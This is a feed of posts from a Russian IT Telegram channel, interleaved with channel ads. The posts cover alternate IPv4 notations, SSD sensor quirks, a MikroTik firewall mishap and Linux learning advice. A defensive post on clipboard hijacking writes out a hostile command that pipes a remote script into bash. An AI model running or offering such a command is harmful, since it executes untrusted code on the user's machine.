Записки IT специалиста
7.96K subscribers
1.56K photos
48 videos
15 files
2.22K links
IT-канал, просто о сложном
https://interface31.ru

Купить рекламу:
https://telega.in/c/interface31
Download Telegram
Стать программистом в 2023 году не так сложно, как кажется. Вот несколько советов:

✔️ Изучайте основы программирования.

✔️ Постоянно практикуйтесь.

✔️ Смотрите как пишут код опытные программисты.
Незаменимая шпаргалка для любого айтишника – Open Code. На этом канале ты найдешь сотни годных проектов с открытым кодом, которые можно отредактировать под себя, не покидая браузер.


Весь код уже написан, подписывайся и применяй его в своих задачах.
👍2😁2
​​Про нули в IPv4 адресах

Про нули в IPv6 знают многие, ну либо хотя бы наслышаны. А именно то, что самый большой блок нулей можно заменить на ::, но сегодня поговорим об IPv4.

Традиционно адрес записывается в виде четырех октетов, каждый из которых содержит 8-битное двоичное число, а так как 11111111 = 255, то числа кроме 0-255 в октетах использовать нельзя.

Теоретически правильное написание адреса 10.0.0.1 - 010.000.000.001, но все привыкли, что незначащие нули в начале октета можно пропускать.

А что будет, если мы напишем 10.1? Это будет эквивалентно адресу 10.0.0.1, а если 10.8.1, то 10.8.0.1.

А почему во втором случае 10.8.0.1, а не 10.0.8.1?

Все просто, если адрес записан не полностью, то берется последняя цифра и считается адресом узла, все остальное считается адресом сети и дополняется нулями.

А вы знали об этом? Пользовались?
👍44🤔3👎1😁1
⚡️Исследование Яндекс: специалисты по машинному обучению стали самыми оплачиваемыми!

Machine Learning сейчас используется везде: в науке, бизнесе и повседневной жизни. А на рынке труда HRы приглашают на работу/стажировку всех, кто знает хоть какие-то основы.

И не нужно идти на дорогущие курсы, с каналом BIG-EХ вы разберетесь во всем бесплатно:
• Основы SQL и баз данных
• Обучение работе с нейронками
• Алгоритмы Python, C++, JS
• Внедрение ИИ в повседневные задачи

Не упусти и ты легкий способ стать востребованным специалистом, подписывайся на @big_data_go
😁3😢3😱1
​​Продолжаем вчерашнюю тему с адресами IPv4, точнее с их записью.

Все привыкли к записи в четыре октета в десятичном виде, например:

192.168.0.1

Но его же можно записать в шестнадцатеричном виде:

0xC0.0xA8.0x00.0x01

Или более коротко:

0xC0.0xA8.0x1

В восьмеричном:

0300.0250.0000.0001 или 0300.0250.1

Или вообще в смешанном:

0300.168.0x1

В общем, если вы сильно не любите коллег, то можно достаточно креативно подойти к составлению документации.

Но есть еще один способ записи IP адреса - полностью в десятичном виде. Для этого для адреса вида a.b.c.d нужно произвести вычисления по формуле:

a * 256^3 + b * 256^2 + c * 256^1 + d * 256^0

Причем вычислить можно как весь адрес, так и его часть. Но эта часть должна быть сплошной до самого конца.

Так 192.168.0.1 это:

3232235521

Или

0300.11010049 или 0xC0.11010049 или 192.11010049

В общем есть где разгуляться и проявить фантазию.

Насколько это нужно на практике? Вопрос сложный, разве что десятичный вид может подойти для поддержки по телефону, чтобы продиктовать:

ping 3232235521

И не заботиться от том, что пользователь вместо точек наберет запятых.

Но знать об этом нужно, хотя бы для того, чтобы не стать предметом розыгрыша со стороны более продвинутых коллег.
👍34😁101👎1
This media is not supported in your browser
VIEW IN TELEGRAM
PyTgBot - первый канал по созданию чат-ботов в телеграм, продвижению и заработку на них!
На нас подписаны и новички и профессионалы.
👍3
​​И снова про китайские SSD

Еще не очень давно словосочетание "китайский SSD" считалось ругательным и покупать их могли только сказочно смелые люди.

Но все течет, все меняется и сегодня эти же самые китайцы обильно представлены на рынке как в виде собственных бреднов, так и наших, отечественных, которые заказывают тех же недорогих китайцев по OEM линии.

В недорогом и даже среднем сегменте их продукция вполне конкурента и не уступает по качеству привычным брендам. Да, есть некоторые особенности, но они не играют особой роли.

Но отдельные китайские бренды всерьез замахнулись на топ. Пример тому Netac NV7000 - топовая модель в линейке производителя с поддержкой PCIe 4.0 и очень даже неплохими показателями, ставящими его на одну ступень с лидерами рынка. При этом цена китайца гораздо ниже.

Все бы ничего, но контроллер Innogrit IG5236 достаточно горяч и чтобы не смущать потребителя разработчики взяли и ограничили верхние показания датчика температуры в 54 градуса.

Ну а чего такого? Потребитель спокоен и доволен. Не спрашивайте зачем они так сделали, нашим умом китайцев не понять, это своя собственная, самобытная культура.

А по факту топовый диск способен доставить кучу головной боли, особенно если тепловой режим внутри корпуса оставляет желать лучшего.

С нормальным датчиком пользователь давно бы уже разобрался что к чему и принял меры. А тут сиди и гадай нормально там диску или закипает помаленьку.

А так диск хороший, брать можно. Наверное...
👍13😁3👎1🤔1
​​Тупой дурак или инициативный идиот?

Представители провайдеров и прочих приходящих служб давно известны легкомысленным отношением к инфраструктуре заказчика, но всему есть свой предел.

Сегодня админу заказчика поступил звонок с точки, звонящий представился монтажником одного известного провайдера из трех букв и заявил примерно следующее: мы сейчас меняем способ доступа, надо перенастроить ваш роутер.

Обычно на такие мероприятия админ или кто-то от нас всегда выезжает лично, но тут вопрос стоял так: или делаю сейчас или оставляю настройки и ухожу, будете без интернета сидеть.

Сидеть без интернета во второй половине четверга не улыбалось, народ шел бодро, а большей части покупателей сейчас карточки или телефоны.

Последний аргумент - у нас там Микротик - его не испугал, мол я умею. Ну хрен с тобою, золотая рыбка, админ выехать туда никак не успевал и открыл ему Winbox.

Очень скоро точка пропала со всех радаров, но мы особо не придали значения, ну перенастраивает. Так прошло минут 20, похоже что-то пошло не так. Админ позвонил на точку и узнал, что монтажника давно и след простыл, а интернет есть, работает.

Только вот не работало ничего остального, точка надежно вывалилась из сети предприятия.

В общем админ поехал туда, подключил нас через свой ноут и мы наконец-то попали на Микротик.

Первый вопрос был: а где эта зараза? Догнать и запинать.

У этого заказчика вся сеть унифицирована, от оборудования до конфигов. Везде по точкам hAP и внешний порт везде пятый.

Это чучело переставило свой патч в первый, выкинув его из бриджа, но пятый туда не включило. В итоге минус сетевой принтер.

Но это полбеды. Сей деятель полностью очистил таблицы Filter и Nat заменив своим, стандартным набором правил. В котором было одно очень "интересное":

add action=drop chain=input in-interface-list=!LAN

В листе LAN ожидаемо только локальный мост. Все соединения через VPN ушли в DROP, динамическая маршрутизация сломалась и сетевой связности как не бывало. Привет вам горячий!

И тут возникают вопросы:

1. Какого хрена ты никого не спросив, не предупредив полез менять интерфейсы?

2. Но это ладно, кто тебе вообще дал право стирать чужие правила брандмауэра и менять их собственными? Ты домой к себе пришел что-ли?

Ну да хорошо хоть вообще конфигурацию не сбросил...
👍26👏8👎2
Forwarded from EFSOL
⚡️Партнерская программа для ИТ-специалистов: стабильный пассивный доход на облачных услугах!

EFSOL расширяет партнерскую программу по облачным услугам. Если вы ИТ-специалист, то можете на этом заработать!

Что для этого нужно:

1. Связаться с нами и получить базовые вводные по работе в качестве партнера EFSOL Oblako. На этом этапе за вами будет закреплен личный менеджер.
2. Найти заинтересованного в аренде сервера 1С клиента (реферала) и зарегистрировать его в партнерской системе EFSOL через своего личного менеджера.
3. После того, как специалист EFSOL закроет продажу клиенту (рефералу), вы начинаете получать ежемесячный доход до 25% от стоимости услуги.

FAQ:

1. Нужно ли оформлять ИП?
Партнером может быть каждый. Физ.лица, ИП, самозанятые, юрлица - ограничений нет.

2. Какие гарантии?
Заключаем с вами партнерское соглашение. Работаем на рынке с 2004 года, дорожим репутацией, поэтому заинтересованы в долгосрочной работе с партнерами.

3. Кто осуществляет сопровождение клиента (реферала)?
Специалисты EFSOL полностью берут на себя все вопросы - продажа, обслуживание, документооборот с рефералами.

4. Где искать клиентов (рефералов)?
Это могут быть компании, с которыми вы работаете или работали. О дополнительных способах поиска рефералов проконсультирует ваш личный менеджер.

👉 Стать участником партнерской программы

📱 Подписаться
Please open Telegram to view this post
VIEW IN TELEGRAM
👍21
​​Часто спрашивают: с чего начать изучение Linux?

Как правило просят посоветовать какие-то книги, статьи, курсы и т.д. и т.п. Естественно бесплатное.

На что я обычно отвечаю, что это так не работает и Linux они подобным образом не изучат.

Почему? А можно научиться водить автомобиль по книгам, статьям, роликам или даже записям курсов? Так чтобы сразу потом сесть и поехать. Не выйдет! Вот и я о том.

Какие альтернативы с автомобилем? Это или платные курсы, куда вы будете обязательно ходить и заниматься с инструктором. Либо учиться самостоятельно, как это было во времена нашей молодости: выехали на проселок с отцом и вперед, рули давай, жми педали.

Здесь ровно все тоже самое. Либо находите курсы с практической частью, платите за них деньги и занимаетесь. Мотивацией тут станет оплата, а так как деньги уплачены, то хочется, не хочется, а заниматься придется.

Второй вариант - это ставим себе практические задачи и начинаем их внедрять. Замахиваться на что-то сложное не надо, достаточно начать с того же VPN, SMB или чего-то аналогичного.

При этом не бездумно скопировать конфиги с какого-нибудь сайта, а разобраться в каждой строчке. Поиграть с настройками, посмотреть как себя ведет система в тех или иных условиях.

В свое время у нас был один преподаватель, который любил спрашивать так: вешал на доску принципиальную схему узла и говорил, мол вот этот элемент сгорел, оборвался, пробит и т.д. и т.п. Нужно было после этого рассказать как будет вести себя узел.

Так и здесь. Задайте себе вопросы: а что будет если... если закончится место на диске ...если закончится оперативная память ...если... да много всяких если можно придумать.

После того, как вы более-менее освоили какую-либо тему - начинайте внедрять ее на практике. На работе или дома. Сделайте, допустим, файлопомойку на Linux. Это поможет получить опыт эксплуатации и углубить владение предметом оттачивая тонкости на повседневных задачах.

Это кстати касается и курсов тоже. Любые знания должны применяться на практике, иначе это деньги м время на ветер. Особенно в IT, где все меняется очень быстро.
👍65🔥5
​​Mikrotik и несколько провайдеров. Балансировка каналов

Как мы уже говорили, сегодня очень многие рабочие процессы прямо зависят от наличия доступа в интернет, поэтому несколько каналов доступа - это не прихоть и не роскошь, а насущная необходимость.

Одной из первых задач, которые решаются несколькими каналами, является отказоустойчивость, но потом возникают иные вопросы, а именно полноценное использование двух каналов, ведь это совсем не дело если оплаченный резервный канал простаивает.

Поэтому в данной статье мы разберем методы балансировки каналов на оборудовании Mikrotik и рассмотрим связанные с этим проблемы и способы их решения.

https://interface31.ru/tech_it/2023/04/mikrotik-i-neskol-ko-provayderov-balansirovka-kanalov.html
👍25🔥71
​​openSUSE - все также надежен и практичен

Не так давно один из наших читателей посетовал, что мы совершенно несправедливо забыли про SUSE и это действительно так. А ведь это один из немногих полностью самостоятельных дистрибутивов наряду с Debian и Red Hat и также может похвастаться длительной историей.

Обладая гораздо меньшей популярностью дистрибутив всегда славился надежностью и практичностью, также на его основе была создана линейка коммерческих дистрибутивов SUSE Linux Enterprise.

Поэтому будет весьма любопытно посмотреть, что может предложить нам openSUSE сегодня и сравнить его с другими ведущими дистрибутивами.

https://interface31.ru/tech_it/2023/04/opensuse---vse-takzhe-nadezhen-i-praktichen.html
👍29
Подборка новых статей из Журнала Код. Канал про программирование. Понятно для новичка, интересно для эксперта. Без снобизма и душности объясняем сложные программистские штуки — подписывайтесь 🔥

1. Как пользоваться ChatGPT в России https://t.iss.one/thecodemedia/6886

2. ООП для новичков: классы и объекты https://t.iss.one/thecodemedia/6782

3. Запускаем Python-скрипт на сервере, чтобы он работал всё время https://t.iss.one/thecodemedia/6766

4. Метод Монте-Карло — один из самых полезных алгоритмов в ИТ https://t.iss.one/thecodemedia/6999

5. Делаем парсер, чтобы массово тянуть с сайтов что угодно https://t.iss.one/thecodemedia/6971

Вступайте в канал начинающих айтишников: @thecodemedia
👍3
​​Неочевидные угрозы из буфера обмена

Можно без преувеличения сказать - копипастить любят все, особенно длинные команды.

Но не все задумываются о неочевидных угрозах данного метода.

Дело в том, что в буфер обмена может попасть совсем не то, что вы видите на экране. Я думаю все сталкивались с подобным, когда вы копируете абзац, а в буфере к нему довеском оказывается:

 Информация с сайта https://example.com

Но это вполне безобидная штука, а ведь вместо обычной и безобидной

apt update

В буфере может оказаться:

curl -s https://example.com/script.sh | bash

Да еще и с символом переноса строки в конце, что автоматически запустит команду на выполнение сразу же после вставки.

А дальше, пока вы будете смотреть в экран и пытаться понять что происходит, произойти может всякое.

И это не страшилки, а вполне реальный сценарий, который применялся на практике для заражения систем вредоносным ПО.

Какой отсюда вывод? Не копипастить? Ну это не реально. А вот не тянуть сразу из браузера в терминал - это вполне по силам, чтобы понять что именно вы скопировали достаточно вставить содержимое буфера в любой текстовый редактор.
👍47🔥4
Хотите разобраться как дорабатывать и внедрять 1С так, чтобы заказчик был доволен, а у спеца не было головной боли? Об этом рассказывает бывалый 1С-ник на канале “Владимир Харин - Просто Pro 1С”. Владимир делится опытом, кейсами, наработками. Кратко, просто, полезно и с юмором.

О чем пишет? Ну, например
– Когда четкая постановка задачи заказчиком становится проблемой
– 5 недостатков кода, из-за которых его сопровождение превращается в ад, и что с этим делать
– Как можно сделать идеальную разработку, и при этом страшно накосячить
– Как подружить наработки пользователей в Excel с учетом в 1С

Присоединяйтесь!
👍2👎1😁1
​​Правильное использование Fast Path и FastTrack в Mikrotik

С самого основания данного ресурса мы не перестаем придерживаться мнения, что практика всегда должна опираться на необходимый теоретический минимум, давая в своих статьях порой обширные теоретические отступления.

Без теории практика превращается в подобие шаманских камланий с бубном, когда вроде сделал все тоже самое, но ничего не работает.

В этом плане технология FastTrack в Mikrotik, несмотря на всю свою простоту, держит пальму первенства по количеству возникающих с ней проблем, которые, в большинстве своем, возникают именно от незнания и непонимания работы этой технологии.

https://interface31.ru/tech_it/2021/09/pravilnoe-ispolzovanie-fast-path-i-fasttrack-v-mikrotik.html

Статья обновлена и дополнена
👍17🔥31
Как выглядит аквадискотека внутри сервера? ПВО на крыше московского дата-центра, правда или баян? Где в златоглавой дают кофе серверы навынос? Со знанием дела рассказывает NETRACK.
👍3
Еще один 😥

Еще один "зеленый" WD отправился с в страну вечной охоты. Тоже SATA, хотя и форм-фактора M.2

Симптомы тоже причудливые. Он не дает с себя грузиться, если загрузиться с чего-либо еще - работает вроде бы нормально.

В общем "зеленая" серия зарекомендовала себя крайне отрицательно.

В ответственных местах рекомендуем под замену не дожидаясь. ☝️
👍32👏1